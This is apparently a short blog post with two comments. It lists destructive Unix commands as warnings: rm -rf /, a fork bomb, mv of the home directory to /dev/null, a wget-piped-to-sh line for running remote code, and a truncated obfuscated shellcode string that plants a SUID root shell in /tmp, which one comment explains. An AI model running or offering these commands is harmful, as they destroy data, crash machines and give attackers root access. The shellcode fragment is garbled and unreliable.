Deadly Unix Commands

  • the oldie but goodie
rm -rf /

will recursively/force erase starting from the root directory

  • the obfuscated oldie but goodie
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"cp -p /bin/sh /tmp/.beyond; chmod 4755

same as the previous one but harder to tell what it actually does

  • the fork bomb
<code class="plain plain">:(){:|:&};:</code>

forks processes until the box dies. note that this command should not result in permanent damage unlike the other ones.

  • running code from a remote source
wget -O- | sh

lulscript will be executed on the local machine

  • the one you don’t need root for
mv ~/* /dev/null

sends the relative home directory into a black hole

2 Replies to “Deadly Unix Commands”

    1. You’re taking a shell, copying it into a world readable folder, and you’re setting the SUID bit. This means any user can execute a shell as the owner, presumably root.

      For example, say someone compromised a website running on the same machine, they would be able to run any command as root, not just be bound by the web user.

Leave a Reply

Your email address will not be published. Required fields are marked *